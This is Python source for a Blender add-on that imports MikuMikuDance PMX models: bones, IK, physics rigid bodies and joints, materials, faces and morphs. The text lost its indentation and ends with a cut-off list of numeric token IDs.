for b_bone, m_bone in zip(editBoneTable, pmx_bones):
if isinstance(m_bone.displayConnection, int) and m_bone.displayConnection >= 0:
t = editBoneTable[m_bone.displayConnection]
if t.parent is not None and t.parent == b_bone:
t.use_connect = not pmx_bones[m_bone.displayConnection].isMovable
for b_bone, m_bone in zip(editBoneTable, pmx_bones):
if m_bone.isIK and m_bone.target != -1:
logging.debug(' - checking IK links of %s', b_bone.name)
b_target = editBoneTable[m_bone.target]
for i in range(len(m_bone.ik_links)):
b_bone_link = editBoneTable[m_bone.ik_links[i].target]
if self.__fix_IK_links or b_bone_link.length < 0.001:
b_bone_tail = b_target if i == 0 else editBoneTable[m_bone.ik_links[i-1].target]
loc = b_bone_tail.head - b_bone_link.head
if loc.length < 0.001:
logging.warning(' ** unsolved IK link %s **', b_bone_link.name)
elif b_bone_tail.parent != b_bone_link:
logging.warning(' ** skipped IK link %s **', b_bone_link.name)
elif (b_bone_link.tail - b_bone_tail.head).length > 1e-4:
logging.debug(' * fix IK link %s', b_bone_link.name)
b_bone_link.tail = b_bone_link.head + loc
for b_bone, m_bone in zip(editBoneTable, pmx_bones):
# Set the length of too short bones to 1 because Blender delete them.
if b_bone.length < 0.001:
if not self.__apply_bone_fixed_axis and m_bone.axis is not None:
fixed_axis = Vector(m_bone.axis)
if fixed_axis.length:
b_bone.tail = b_bone.head + fixed_axis.xzy.normalized() * self.__scale
else:
b_bone.tail = b_bone.head + Vector((0, 0, 1)) * self.__scale
else:
b_bone.tail = b_bone.head + Vector((0, 0, 1)) * self.__scale
if m_bone.displayConnection != -1 and m_bone.displayConnection != [0.0, 0.0, 0.0]:
logging.debug(' * special tip bone %s, display %s', b_bone.name, str(m_bone.displayConnection))
specialTipBones.append(b_bone.name)
for b_bone, m_bone in zip(editBoneTable, pmx_bones):
if m_bone.localCoordinate is not None:
FnBone.update_bone_roll(b_bone, m_bone.localCoordinate.x_axis, m_bone.localCoordinate.z_axis)
elif FnBone.has_auto_local_axis(m_bone.name):
FnBone.update_auto_bone_roll(b_bone)
return nameTable, specialTipBones
def __sortPoseBonesByBoneIndex(self, pose_bones, bone_names):
r = []
for i in bone_names:
r.append(pose_bones[i])
return r
@staticmethod
def convertIKLimitAngles(min_angle, max_angle, bone_matrix, invert=False):
mat = bone_matrix.to_3x3() * -1
mat[1], mat[2] = mat[2].copy(), mat[1].copy()
mat.transpose()
if invert:
mat.invert()
# align matrix to global axes
m = Matrix([[0,0,0], [0,0,0], [0,0,0]])
i_set, j_set = [0, 1, 2], [0, 1, 2]
for _ in range(3):
ii, jj = i_set[0], j_set[0]
for i in i_set:
for j in j_set:
if abs(mat[i][j]) > abs(mat[ii][jj]):
ii, jj = i, j
i_set.remove(ii)
j_set.remove(jj)
m[ii][jj] = -1 if mat[ii][jj] < 0 else 1
new_min_angle = bpyutils.matmul(m, Vector(min_angle))
new_max_angle = bpyutils.matmul(m, Vector(max_angle))
for i in range(3):
if new_min_angle[i] > new_max_angle[i]:
new_min_angle[i], new_max_angle[i] = new_max_angle[i], new_min_angle[i]
return new_min_angle, new_max_angle
def __applyIk(self, index, pmx_bone, pose_bones):
""" create a IK bone constraint
If the IK bone and the target bone is separated, a dummy IK target bone is created as a child of the IK bone.
@param index the bone index
@param pmx_bone pmx.Bone
@param pose_bones the list of PoseBones sorted by the bone index
"""
# for tracking mmd ik target, simple explaination:
# + Root
# | + link1
# | + link0 (ik_bone) <- ik constraint, chain_count=2
# | + IK target (ik_target) <- constraint 'mmd_ik_target_override', subtarget=link0
# + IK bone (target_bone)
#
# it is possible that the link0 is the IK target,
# so ik constraint will be on link1, chain_count=1
# the IK target isn't affected by IK bone
target_bone = pose_bones[index]
ik_target = pose_bones[pmx_bone.target]
ik_bone = ik_target.parent
is_valid_ik = False
if len(pmx_bone.ik_links) > 0:
ik_bone_real = pose_bones[pmx_bone.ik_links[0].target]
if ik_bone_real == ik_target or ik_bone_real.parent == ik_target:
ik_bone_real = ik_target.parent
del pmx_bone.ik_links[0]
logging.warning(' * fix IK settings of IK bone (%s)', target_bone.name)
is_valid_ik = (ik_bone == ik_bone_real)
if not is_valid_ik:
ik_bone = ik_bone_real
logging.warning(' * IK bone (%s) error: IK target (%s) should be a child of IK link 0 (%s)',
target_bone.name, ik_target.name, ik_bone.name)
if ik_bone is None:
logging.warning(' * Invalid IK bone (%s)', target_bone.name)
return
c = ik_target.constraints.new(type='DAMPED_TRACK')
c.name = 'mmd_ik_target_override'
c.mute = True
c.influence = 0
c.target = self.__armObj
c.subtarget = ik_bone.name
ikConst = self.__rig.create_ik_constraint(ik_bone, target_bone)
ikConst.iterations = pmx_bone.loopCount
ikConst.chain_count = len(pmx_bone.ik_links)
ikConst.mute = not is_valid_ik
ik_bone.mmd_bone.ik_rotation_constraint = pmx_bone.rotationConstraint
for i in pmx_bone.ik_links:
if i.maximumAngle is not None:
bone = pose_bones[i.target]
minimum, maximum = self.convertIKLimitAngles(i.minimumAngle, i.maximumAngle, bone.bone.matrix_local)
bone.use_ik_limit_x = True
bone.use_ik_limit_y = True
bone.use_ik_limit_z = True
bone.ik_max_x, bone.ik_max_y, bone.ik_max_z = maximum
bone.ik_min_x, bone.ik_min_y, bone.ik_min_z = minimum
c = bone.constraints.new(type='LIMIT_ROTATION')
c.mute = not is_valid_ik
c.name = 'mmd_ik_limit_override'
c.owner_space = 'POSE' # WORLD/POSE/LOCAL
c.max_x, c.max_y, c.max_z = maximum
c.min_x, c.min_y, c.min_z = minimum
c.use_limit_x = bone.ik_max_x != c.max_x or bone.ik_min_x != c.min_x
c.use_limit_y = bone.ik_max_y != c.max_y or bone.ik_min_y != c.min_y
c.use_limit_z = bone.ik_max_z != c.max_z or bone.ik_min_z != c.min_z
def __importBones(self):
pmxModel = self.__model
boneNameTable, specialTipBones = self.__createEditBones(self.__armObj, pmxModel.bones)
pose_bones = self.__sortPoseBonesByBoneIndex(self.__armObj.pose.bones, boneNameTable)
self.__boneTable = pose_bones
for i, pmx_bone in sorted(enumerate(pmxModel.bones), key=lambda x: x[1].transform_order):
b_bone = pose_bones[i]
mmd_bone = b_bone.mmd_bone
mmd_bone.name_j = b_bone.name #pmx_bone.name
mmd_bone.name_e = pmx_bone.name_e
mmd_bone.is_controllable = pmx_bone.isControllable
mmd_bone.transform_order = pmx_bone.transform_order
mmd_bone.transform_after_dynamics = pmx_bone.transAfterPhis
if pmx_bone.displayConnection == -1 or pmx_bone.displayConnection == [0.0, 0.0, 0.0]:
mmd_bone.is_tip = True
logging.debug('bone %s is a tip bone', pmx_bone.name)
elif b_bone.name in specialTipBones:
mmd_bone.is_tip = True
logging.debug('bone %s is a special tip bone. DisplayConnection: %s', pmx_bone.name, str(pmx_bone.displayConnection))
elif not isinstance(pmx_bone.displayConnection, int):
logging.debug('bone %s is using a vector tail', pmx_bone.name)
else:
logging.debug('bone %s is not using a vector tail and is not a tip bone. DisplayConnection: %s',
pmx_bone.name, str(pmx_bone.displayConnection))
b_bone.bone.hide = not pmx_bone.visible #or mmd_bone.is_tip
if not pmx_bone.isRotatable:
b_bone.lock_rotation = [True, True, True]
if not pmx_bone.isMovable:
b_bone.lock_location = [True, True, True]
if pmx_bone.isIK:
if pmx_bone.target != -1:
self.__applyIk(i, pmx_bone, pose_bones)
if pmx_bone.hasAdditionalRotate or pmx_bone.hasAdditionalLocation:
bone_index, influ = pmx_bone.additionalTransform
mmd_bone.has_additional_rotation = pmx_bone.hasAdditionalRotate
mmd_bone.has_additional_location = pmx_bone.hasAdditionalLocation
mmd_bone.additional_transform_influence = influ
if 0 <= bone_index < len(pose_bones):
mmd_bone.additional_transform_bone = pose_bones[bone_index].name
if pmx_bone.localCoordinate is not None:
mmd_bone.enabled_local_axes = True
mmd_bone.local_axis_x = pmx_bone.localCoordinate.x_axis
mmd_bone.local_axis_z = pmx_bone.localCoordinate.z_axis
if pmx_bone.axis is not None:
mmd_bone.enabled_fixed_axis = True
mmd_bone.fixed_axis = pmx_bone.axis
if not self.__apply_bone_fixed_axis and mmd_bone.is_tip:
b_bone.lock_rotation = [True, False, True]
b_bone.lock_location = [True, True, True]
b_bone.lock_scale = [True, True, True]
def __importRigids(self):
start_time = time.time()
self.__rigidTable = {}
rigid_pool = self.__rig.createRigidBodyPool(len(self.__model.rigids))
for i, (rigid, rigid_obj) in enumerate(zip(self.__model.rigids, rigid_pool)):
loc = Vector(rigid.location).xzy * self.__scale
rot = Vector(rigid.rotation).xzy * -1
size = Vector(rigid.size).xzy if rigid.type == pmx.Rigid.TYPE_BOX else Vector(rigid.size)
obj = self.__rig.createRigidBody(
obj = rigid_obj,
name = rigid.name,
name_e = rigid.name_e,
shape_type = rigid.type,
dynamics_type = rigid.mode,
location = loc,
rotation = rot,
size = size * self.__scale,
collision_group_number = rigid.collision_group_number,
collision_group_mask = [rigid.collision_group_mask & (1<<i) == 0 for i in range(16)],
arm_obj = self.__armObj,
mass=rigid.mass,
friction = rigid.friction,
angular_damping = rigid.rotation_attenuation,
linear_damping = rigid.velocity_attenuation,
bounce = rigid.bounce,
bone = None if rigid.bone == -1 or rigid.bone is None else self.__boneTable[rigid.bone].name,
)
obj.hide = True
MoveObject.set_index(obj, i)
self.__rigidTable[i] = obj
logging.debug('Finished importing rigid bodies in %f seconds.', time.time() - start_time)
def __importJoints(self):
start_time = time.time()
joint_pool = self.__rig.createJointPool(len(self.__model.joints))
for i, (joint, joint_obj) in enumerate(zip(self.__model.joints, joint_pool)):
loc = Vector(joint.location).xzy * self.__scale
rot = Vector(joint.rotation).xzy * -1
obj = self.__rig.createJoint(
obj = joint_obj,
name = joint.name,
name_e = joint.name_e,
location = loc,
rotation = rot,
rigid_a = self.__rigidTable.get(joint.src_rigid, None),
rigid_b = self.__rigidTable.get(joint.dest_rigid, None),
maximum_location = Vector(joint.maximum_location).xzy * self.__scale,
minimum_location = Vector(joint.minimum_location).xzy * self.__scale,
maximum_rotation = Vector(joint.minimum_rotation).xzy * -1,
minimum_rotation = Vector(joint.maximum_rotation).xzy * -1,
spring_linear = Vector(joint.spring_constant).xzy,
spring_angular = Vector(joint.spring_rotation_constant).xzy,
)
obj.hide = True
MoveObject.set_index(obj, i)
logging.debug('Finished importing joints in %f seconds.', time.time() - start_time)
def __importMaterials(self):
self.__importTextures()
pmxModel = self.__model
self.__materialFaceCountTable = []
for i in pmxModel.materials:
mat = bpy.data.materials.new(name=i.name)
self.__materialTable.append(mat)
mmd_mat = mat.mmd_material
mmd_mat.name_j = i.name
mmd_mat.name_e = i.name_e
mmd_mat.ambient_color = i.ambient
mmd_mat.diffuse_color = i.diffuse[0:3]
mmd_mat.alpha = i.diffuse[3]
mmd_mat.specular_color = i.specular
mmd_mat.shininess = i.shininess
mmd_mat.is_double_sided = i.is_double_sided
mmd_mat.enabled_drop_shadow = i.enabled_drop_shadow
mmd_mat.enabled_self_shadow_map = i.enabled_self_shadow_map
mmd_mat.enabled_self_shadow = i.enabled_self_shadow
mmd_mat.enabled_toon_edge = i.enabled_toon_edge
mmd_mat.edge_color = i.edge_color
mmd_mat.edge_weight = i.edge_size
mmd_mat.sphere_texture_type = str(i.sphere_texture_mode)
if i.is_shared_toon_texture:
mmd_mat.is_shared_toon_texture = True
mmd_mat.shared_toon_texture = i.toon_texture
else:
mmd_mat.is_shared_toon_texture = False
if i.toon_texture >= 0:
mmd_mat.toon_texture = self.__textureTable[i.toon_texture]
else:
mmd_mat.toon_texture = ''
mmd_mat.comment = i.comment
self.__materialFaceCountTable.append(int(i.vertex_count/3))
self.__meshObj.data.materials.append(mat)
fnMat = FnMaterial(mat)
if i.texture != -1:
texture_slot = fnMat.create_texture(self.__textureTable[i.texture])
texture_slot.texture.use_mipmap = self.__use_mipmap
self.__imageTable[len(self.__materialTable)-1] = texture_slot.texture.image
if i.sphere_texture_mode == 2:
amount = self.__spa_blend_factor
else:
amount = self.__sph_blend_factor
if i.sphere_texture != -1 and amount != 0.0:
texture_slot = fnMat.create_sphere_texture(self.__textureTable[i.sphere_texture])
texture_slot.diffuse_color_factor = amount
if i.sphere_texture_mode == 3 and getattr(pmxModel.header, 'additional_uvs', 0):
texture_slot.uv_layer = 'UV1' # for SubTexture
mmd_mat.sphere_texture_type = mmd_mat.sphere_texture_type # re-update
def __importFaces(self):
pmxModel = self.__model
mesh = self.__meshObj.data
vertex_map = self.__vertex_map
loop_indices_orig = tuple(i for f in pmxModel.faces for i in f)
loop_indices = tuple(vertex_map[i][1] for i in loop_indices_orig) if vertex_map else loop_indices_orig
material_indices = tuple(i for i, c in enumerate(self.__materialFaceCountTable) for x in range(c))
mesh.loops.add(len(pmxModel.faces)*3)
mesh.loops.foreach_set('vertex_index', loop_indices)
mesh.polygons.add(len(pmxModel.faces))
mesh.polygons.foreach_set('loop_start', tuple(range(0, len(mesh.loops), 3)))
mesh.polygons.foreach_set('loop_total', (3,)*len(pmxModel.faces))
mesh.polygons.foreach_set('use_smooth', (True,)*len(pmxModel.faces))
mesh.polygons.foreach_set('material_index', material_indices)
uv_textures, uv_layers = getattr(mesh, 'uv_textures', mesh.uv_layers), mesh.uv_layers
uv_tex = uv_textures.new()
uv_layer = uv_layers[uv_tex.name]
uv_table = {vi:self.flipUV_V(v.uv) for vi, v in enumerate(pmxModel.vertices)}
uv_layer.data.foreach_set('uv', tuple(v for i in loop_indices_orig for v in uv_table[i]))
if uv_textures is not uv_layers:
for bf, mi in zip(uv_tex.data, material_indices):
bf.image = self.__imageTable.get(mi, None)
if pmxModel.header and pmxModel.header.additional_uvs:
logging.info('Importing %d additional uvs', pmxModel.header.additional_uvs)
zw_data_map = collections.OrderedDict()
split_uvzw = lambda uvi: (self.flipUV_V(uvi[:2]), uvi[2:])
for i in range(pmxModel.header.additional_uvs):
add_uv = uv_layers[uv_textures.new(name='UV'+str(i+1)).name]
logging.info(' - %s...(uv channels)', add_uv.name)
uv_table = {vi:split_uvzw(v.additional_uvs[i]) for vi, v in enumerate(pmxModel.vertices)}
add_uv.data.foreach_set('uv', tuple(v for i in loop_indices_orig for v in uv_table[i][0]))
if not any(any(s[1]) for s in uv_table.values()):
logging.info('\t- zw are all zeros: %s', add_uv.name)
else:
zw_data_map['_'+add_uv.name] = {k:self.flipUV_V(v[1]) for k, v in uv_table.items()}
for name, zw_table in zw_data_map.items():
logging.info(' - %s...(zw channels of %s)', name, name[1:])
add_zw = uv_textures.new(name=name)
if add_zw is None:
logging.warning('\t* Lost zw channels')
continue
add_zw = uv_layers[add_zw.name]
add_zw.data.foreach_set('uv', tuple(v for i in loop_indices_orig for v in zw_table[i]))
def __importVertexMorphs(self):
mmd_root = self.__root.mmd_root
categories = self.CATEGORIES
self.__createBasisShapeKey()
for morph in (x for x in self.__model.morphs if isinstance(x, pmx.VertexMorph)):
shapeKey = self.__meshObj.shape_key_add(name=morph.name)
vtx_morph = mmd_root.vertex_morphs.add()
vtx_morph.name = morph.name
vtx_morph.name_e = morph.name_e
vtx_morph.category = categories.get(morph.category, 'OTHER')
for md in morph.offsets:
shapeKeyPoint = shapeKey.data[md.index]
shapeKeyPoint.co += Vector(md.offset).xzy * self.__scale
def __importMaterialMorphs(self):
mmd_root = self.__root.mmd_root
categories = self.CATEGORIES
for morph in (x for x in self.__model.morphs if isinstance(x, pmx.MaterialMorph)):
mat_morph = mmd_root.material_morphs.add()
mat_morph.name = morph.name
mat_morph.name_e = morph.name_e
mat_morph.category = categories.get(morph.category, 'OTHER')
for morph_data in morph.offsets:
data = mat_morph.data.add()
data.related_mesh = self.__meshObj.data.name
if 0 <= morph_data.index < len(self.__materialTable):
data.material = self.__materialTable[morph_data.index].name
data.offset_type = ['MULT', 'ADD'][morph_data.offset_type]
data.diffuse_color = morph_data.diffuse_offset
data.specular_color = morph_data.specular_offset
data.shininess = morph_data.shininess_offset
data.ambient_color = morph_data.ambient_offset
data.edge_color = morph_data.edge_color_offset
data.edge_weight = morph_data.edge_size_offset
data.texture_factor = morph_data.texture_factor
data.sphere_texture_factor = morph_data.sphere_texture_factor
data.toon_texture_factor = morph_data.toon_texture_factor
def __importBoneMorphs(self):
mmd_root = self.__root.mmd_root
categories = self.CATEGORIES
for morph in (x for x in self.__model.morphs if isinstance(x, pmx.BoneMorph)):
bone_morph = mmd_root.bone_morphs.add()
bone_morph.name = morph.name
bone_morph.name_e = morph.name_e
bone_morph.category = categories.get(morph.category, 'OTHER')
for morph_data in morph.offsets:
if not (0 <= morph_data.index < len(self.__boneTable)):
continue
data = bone_morph.data.add()
bl_bone = self.__boneTable[morph_data.index]
data.bone = bl_bone.name
converter = BoneConverter(bl_bone, self.__scale)
data.location = converter.convert_location(morph_data.location_offset)
data.rotation = converter.convert_rotation(morph_data.rotation_offset)
def __importUVMorphs(self):
mmd_root = self.__root.mmd_root
categories = self.CATEGORIES
__OffsetData = collections.namedtuple('OffsetData', 'index, offset')
__convert_offset = lambda x: (x[0], -x[1], x[2], -x[3])
for morph in (x for x in self.__model.morphs if isinstance(x, pmx.UVMorph)):
uv_morph = mmd_root.uv_morphs.add()
uv_morph.name = morph.name
uv_morph.name_e = morph.name_e
uv_morph.category = categories.get(morph.category, 'OTHER')
uv_morph.uv_index = morph.uv_index
offsets = (__OffsetData(d.index, __convert_offset(d.offset)) for d in morph.offsets)
FnMorph.store_uv_morph_data(self.__meshObj, uv_morph, offsets, '')
uv_morph.data_type = 'VERTEX_GROUP'
def __importGroupMorphs(self):
mmd_root = self.__root.mmd_root
categories = self.CATEGORIES
morph_types = self.MORPH_TYPES
pmx_morphs = self.__model.morphs
for morph in (x for x in pmx_morphs if isinstance(x, pmx.GroupMorph)):
group_morph = mmd_root.group_morphs.add()
group_morph.name = morph.name
group_morph.name_e = morph.name_e
group_morph.category = categories.get(morph.category, 'OTHER')
for morph_data in morph.offsets:
if not (0 <= morph_data.morph < len(pmx_morphs)):
continue
data = group_morph.data.add()
m = pmx_morphs[morph_data.morph]
data.name = m.name
data.morph_type = morph_types[m.type_index()]
data.factor = morph_data.factor
def __importDisplayFrames(self):
pmxModel = self.__model
root = self.__root
morph_types = self.MORPH_TYPES
for i in pmxModel.display:
frame = root.mmd_root.display_item_frames.add()
frame.name = i.name
frame.name_e = i.name_e
frame.is_special = i.isSpecial
for disp_type, index in i.data:
item = frame.data.add()
if disp_type == 0:
item.type = 'BONE'
item.name = self.__boneTable[index].name
elif disp_type == 1:
item.type = 'MORPH'
morph = pmxModel.morphs[index]
item.name = morph.name
item.morph_type = morph_types[morph.type_index()]
else:
raise Exception('Unknown display item type.')
DisplayItemQuickSetup.apply_bone_groups(root.mmd_root, self.__armObj)
def __addArmatureModifier(self, meshObj, armObj):
armModifier = meshObj.modifiers.new(name='Armature', type='ARMATURE')
armModifier.object = armObj
armModifier.use_vertex_groups = True
armModifier.name = 'mmd_bone_order_override'
armModifier.show_render = armModifier.show_viewport = (len(meshObj.data.vertices) > 0)
def __assignCustomNormals(self):
mesh = self.__meshObj.data
if not hasattr(mesh, 'has_custom_normals'):
logging.info(' * No support for custom normals!!')
return
logging.info('Setting custom normals...')
if self.__vertex_map:
verts, faces = self.__model.vertices, self.__model.faces
custom_normals = [(Vector(verts[i].normal).xzy).normalized() for f in faces for i in f]
mesh.normals_split_custom_set(custom_normals)
else:
custom_normals = [(Vector(v.normal).xzy).normalized() for v in self.__model.vertices]
mesh.normals_split_custom_set_from_vertices(custom_normals)
mesh.use_auto_smooth = True
logging.info(' - Done!!')
def __renameLRBones(self, use_underscore):
pose_bones = self.__armObj.pose.bones
for i in pose_bones:
self.__rig.renameBone(i.name, utils.convertNameToLR(i.name, use_underscore))
# self.__meshObj.vertex_groups[i.mmd_bone.name_j].name = i.name
def __translateBoneNames(self):
pose_bones = self.__armObj.pose.bones
for i in pose_bones:
self.__rig.renameBone(i.name, self.__translator.translate(i.name))
def __fixRepeatedMorphName(self):
used_names = set()
for m in self.__model.morphs:
m.name = utils.uniqueName(m.name or 'Morph', used_names)
used_names.add(m.name)
def execute(self, **args):
if 'pmx' in args:
self.__model = args['pmx']
else:
self.__model = pmx.load(args['filepath'])
self.__fixRepeatedMorphName()
types = args.get('types', set())
clean_model = args.get('clean_model', False)
remove_doubles = args.get('remove_doubles', False)
self.__scale = args.get('scale', 1.0)
self.__use_mipmap = args.get('use_mipmap', True)
self.__sph_blend_factor = args.get('sph_blend_factor', 1.0)
self.__spa_blend_factor = args.get('spa_blend_factor', 1.0)
self.__fix_IK_links = args.get('fix_IK_links', False)
self.__apply_bone_fixed_axis = args.get('apply_bone_fixed_axis', False)
self.__translator = args.get('translator', None)
logging.info('****************************************')
logging.info(' mmd_tools.import_pmx module')
logging.info('----------------------------------------')
logging.info(' Start to load model data form a pmx file')
logging.info(' by the mmd_tools.pmx modlue.')
logging.info('')
start_time = time.time()
self.__createObjects()
if 'MESH' in types:
if clean_model:
_PMXCleaner.clean(self.__model, 'MORPHS' not in types)
if remove_doubles:
self.__vertex_map = _PMXCleaner.remove_doubles(self.__model, 'MORPHS' not in types)
self.__createMeshObject()
self.__importVertices()
self.__importMaterials()
self.__importFaces()
self.__meshObj.data.update()
self.__assignCustomNormals()
self.__storeVerticesSDEF()
if 'ARMATURE' in types:
# for tracking bone order
if 'MESH' not in types:
self.__createMeshObject()
self.__importVertexGroup()
self.__importBones()
if args.get('rename_LR_bones', False):
use_underscore = args.get('use_underscore', False)
self.__renameLRBones(use_underscore)
if self.__translator:
self.__translateBoneNames()
if self.__apply_bone_fixed_axis:
FnBone.apply_bone_fixed_axis(self.__armObj)
FnBone.apply_additional_transformation(self.__armObj)
if 'PHYSICS' in types:
self.__importRigids()
self.__importJoints()
if 'DISPLAY' in types:
self.__importDisplayFrames()
else:
self.__rig.initialDisplayFrames()
if 'MORPHS' in types:
self.__importGroupMorphs()
self.__importVertexMorphs()
self.__importBoneMorphs()
self.__importMaterialMorphs()
self.__importUVMorphs()
if self.__meshObj:
self.__addArmatureModifier(self.__meshObj, self.__armObj)
#bpy.context.scene.gravity[2] = -9.81 * 10 * self.__scale
root = self.__root
if 'ARMATURE' in types:
root.mmd_root.show_armature = True
if 'MESH' in types:
root.mmd_root.show_meshes = True
self.__targetScene.objects.active = root
root.select = True
logging.info(' Finished importing the model in %f seconds.', time.time() - start_time)
logging.info('----------------------------------------')
logging.info(' mmd_tools.import_pmx module')
logging.info('****************************************')
class _PMXCleaner:
@classmethod
def clean(cls, pmx_model, mesh_only):
logging.info('Cleaning PMX data...')
pmx_faces = pmx_model.faces
pmx_vertices = pmx_model.vertices
# clean face/vertex
cls.__clean_pmx_faces(pmx_faces, pmx_model.materials, lambda f: frozenset(f))
index_map = {v:v for f in pmx_faces for v in f}
is_index_clean = len(index_map) == len(pmx_vertices)
if is_index_clean:
logging.info(' (vertices is clean)')
else:
new_vertex_count = 0
for v in sorted(index_map):
if v != new_vertex_count:
pmx_vertices[new_vertex_count] = pmx_vertices[v]
index_map[v] = new_vertex_count
new_vertex_count += 1
logging.warning(' - removed %d vertices', len(pmx_vertices)-new_vertex_count)
del pmx_vertices[new_vertex_count:]
# update vertex indices of faces
for f in pmx_faces:
f[:] = [index_map[v] for v in f]
if mesh_only:
logging.info(' - Done (mesh only)!!')
return
if not is_index_clean:
# clean vertex/uv morphs
def __update_index(x):
x.index = index_map.get(x.index, None)
return x.index is not None
cls.__clean_pmx_morphs(pmx_model.morphs, __update_index)
logging.info(' - Done!!')
@classmethod
def remove_doubles(cls, pmx_model, mesh_only):
logging.info('Removing doubles...')
pmx_vertices = pmx_model.vertices
vertex_map = [None] * len(pmx_vertices)
# gather vertex data
for i, v in enumerate(pmx_vertices):
vertex_map[i] = [tuple(v.co)]
if not mesh_only:
for m in pmx_model.morphs:
if not isinstance(m, pmx.VertexMorph) and not isinstance(m, pmx.UVMorph):
continue
for x in m.offsets:
vertex_map[x.index].append(tuple(x.offset))
# generate vertex merging table
keys = {}
for i, v in enumerate(vertex_map):
k = tuple(v)
if k in keys:
vertex_map[i] = keys[k] # merge pmx_vertices[i] to pmx_vertices[keys[k][0]]
else:
vertex_map[i] = keys[k] = (i, len(keys)) # (pmx index, blender index)
counts = len(vertex_map) - len(keys)
keys.clear()
if counts:
logging.warning(' - %d vertices will be removed', counts)
else:
logging.info(' - Done (no changes)!!')
return None
# clean face
#face_key_func = lambda f: frozenset(vertex_map[x][0] for x in f)
face_key_func = lambda f: frozenset({vertex_map[x][0]:tuple(pmx_vertices[x].uv) for x in f}.items())
cls.__clean_pmx_faces(pmx_model.faces, pmx_model.materials, face_key_func)
if mesh_only:
logging.info(' - Done (mesh only)!!')
else:
# clean vertex/uv morphs
def __update_index(x):
indices = vertex_map[x.index]
x.index = indices[1] if x.index == indices[0] else None
return x.index is not None
cls.__clean_pmx_morphs(pmx_model.morphs, __update_index)
logging.info(' - Done!!')
return vertex_map
@staticmethod
def __clean_pmx_faces(pmx_faces, pmx_materials, face_key_func):
new_face_count = 0
face_iter = iter(pmx_faces)
for mat in pmx_materials:
used_faces = set()
new_vertex_count = 0
for i in range(int(mat.vertex_count/3)):
f = next(face_iter)
f_key = face_key_func(f)
if len(f_key) != 3 or f_key in used_faces:
continue
used_faces.add(f_key)
pmx_faces[new_face_count] = list(f)
new_face_count += 1
new_vertex_count += 3
mat.vertex_count = new_vertex_count
face_iter = None
if new_face_count == len(pmx_faces):
logging.info(' (faces is clean)')
else:
logging.warning(' - removed %d faces', len(pmx_faces)-new_face_count)
del pmx_faces[new_face_count:]
@staticmethod
def __clean_pmx_morphs(pmx_morphs, index_update_func):
for m in pmx_morphs:
if not isinstance(m, pmx.VertexMorph) and not isinstance(m, pmx.UVMorph):
continue
old_len = len(m.offsets)
m.offsets = [x for x in m.offsets if index_update_func(x)]
counts = old_len - len(m.offsets)
if counts:
logging.warning(' - removed %d (of %d) offsets of "%s"', counts, old_len, m.name)
| [
1,
529,
276,
1112,
420,
29958,
7414,
386,
18902,
29914,
2204,
1581,
29918,
29885,
3487,
29918,
8504,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
5215,
2897,
13,
5215,
16250,
13,
5215,
12183,
13,
5215,
931,
13,
13,
5215,
289,
2272,
13,
3166,
5844,
13239,
1053,
16510,
29892,
22513,
13,
13,
5215,
286,
3487,
29918,
8504,
29889,
3221,
29889,
4299,
408,
286,
3487,
29918,
4299,
13,
3166,
286,
3487,
29918,
8504,
1053,
3667,
29879,
13,
3166,
286,
3487,
29918,
8504,
1053,
289,
2272,
13239,
13,
3166,
286,
3487,
29918,
8504,
29889,
3221,
1053,
282,
16838,
13,
3166,
286,
3487,
29918,
8504,
29889,
3221,
29889,
15933,
1053,
383,
29876,
29933,
650,
13,
3166,
286,
3487,
29918,
8504,
29889,
3221,
29889,
15388,
1053,
383,
29876,
24095,
13,
3166,
286,
3487,
29918,
8504,
29889,
3221,
29889,
29885,
5676,
1053,
383,
29876,
29924,
5676,
13,
3166,
286,
3487,
29918,
8504,
29889,
3221,
29889,
29894,
3487,
29889,
326,
18505,
1053,
350,
650,
18545,
13,
3166,
286,
3487,
29918,
8504,
29889,
3372,
4097,
29889,
4990,
29918,
667,
1053,
17440,
2001,
2182,
860,
26947,
13,
3166,
286,
3487,
29918,
8504,
29889,
3372,
4097,
29889,
29885,
10669,
1053,
25249,
2061,
13,
13,
13,
1990,
11278,
29990,
24192,
9555,
29901,
13,
1678,
315,
3040,
29954,
1955,
29059,
353,
426,
13,
308,
29900,
29901,
525,
14816,
1254,
12665,
742,
13,
308,
29896,
29901,
525,
13282,
25752,
25180,
742,
13,
308,
29906,
29901,
525,
13282,
29923,
742,
13,
308,
29941,
29901,
525,
6720,
2692,
29950,
742,
13,
4706,
500,
13,
1678,
341,
1955,
19689,
29918,
15631,
29925,
2890,
353,
426,
13,
308,
29900,
29901,
525,
2972,
29918,
29885,
5676,
29879,
742,
13,
308,
29896,
29901,
525,
369,
4776,
29918,
29885,
5676,
29879,
742,
13,
308,
29906,
29901,
525,
15933,
29918,
29885,
5676,
29879,
742,
13,
308,
29941,
29901,
525,
4090,
29918,
29885,
5676,
29879,
742,
13,
308,
29946,
29901,
525,
4090,
29918,
29885,
5676,
29879,
742,
13,
308,
29945,
29901,
525,
4090,
29918,
29885,
5676,
29879,
742,
13,
308,
29953,
29901,
525,
4090,
29918,
29885,
5676,
29879,
742,
13,
308,
29955,
29901,
525,
4090,
29918,
29885,
5676,
29879,
742,
13,
308,
29947,
29901,
525,
15388,
29918,
29885,
5676,
29879,
742,
13,
4706,
500,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
17255,
4299,
353,
6213,
13,
4706,
1583,
17255,
5182,
23472,
353,
289,
2272,
29889,
4703,
29889,
24645,
13,
13,
4706,
1583,
17255,
7052,
353,
6213,
13,
13,
4706,
1583,
17255,
4632,
353,
6213,
13,
4706,
1583,
17255,
2817,
9930,
353,
6213,
13,
4706,
1583,
17255,
4467,
29882,
9930,
353,
6213,
13,
13,
4706,
1583,
17255,
369,
4776,
4782,
3562,
353,
6213,
13,
4706,
1583,
17255,
726,
545,
3562,
353,
6213,
13,
4706,
1583,
17255,
8966,
333,
3562,
353,
6213,
13,
13,
4706,
1583,
17255,
15933,
3562,
353,
5159,
13,
4706,
1583,
17255,
15388,
3562,
353,
5159,
13,
4706,
1583,
17255,
3027,
3562,
353,
6571,
13,
13,
4706,
1583,
17255,
29879,
1753,
9114,
1575,
353,
6571,
396,
282,
16838,
13791,
13,
4706,
1583,
17255,
369,
4776,
29918,
1958,
353,
6213,
13,
13,
4706,
1583,
17255,
15388,
23360,
3981,
3562,
353,
6213,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
285,
3466,
29965,
29963,
29918,
29963,
29898,
4090,
1125,
13,
4706,
318,
29892,
325,
353,
